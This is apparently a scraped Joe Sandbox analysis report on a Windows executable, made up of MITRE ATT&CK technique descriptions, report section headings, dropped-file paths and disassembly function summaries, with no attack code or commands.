Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report elyho3x5zz.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bkzwr5jg.4yy.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ycgw4vc1.xjq.ps1

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
elyho3x5zz.exe

Function 00007FF73A1D37B0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 145
windowCOMMON

Function 00007FF73A1D6580 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 208
COMMON

Function 00007FF73A1F1D80 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 251
COMMON

Function 00007FF73A1D7920 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 178
registryCOMMON

Function 00007FF73A1D5DEC Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 143
windowtimeregistryCOMMON

Function 00007FF73A1D3D90 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 57
windowregistryCOMMON

Function 00007FF73A1EE958 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 304
comCOMMON

Function 00007FF73A1D3B84 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 60
windowregistryCOMMON

Function 00007FF73A217348 Relevance: 13.8, APIs: 9, Instructions: 272
fileCOMMON

Function 00007FF73A1E25BC Relevance: 12.4, APIs: 8, Instructions: 442
windowtimeCOMMON

Function 00007FF73A1D3CBC Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 40
COMMON

Function 00007FF73A1D7EC0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 185
comCOMMON

Function 00007FF73A1D72C8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80
windowCOMMON

Function 00007FF73A1D3F04 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre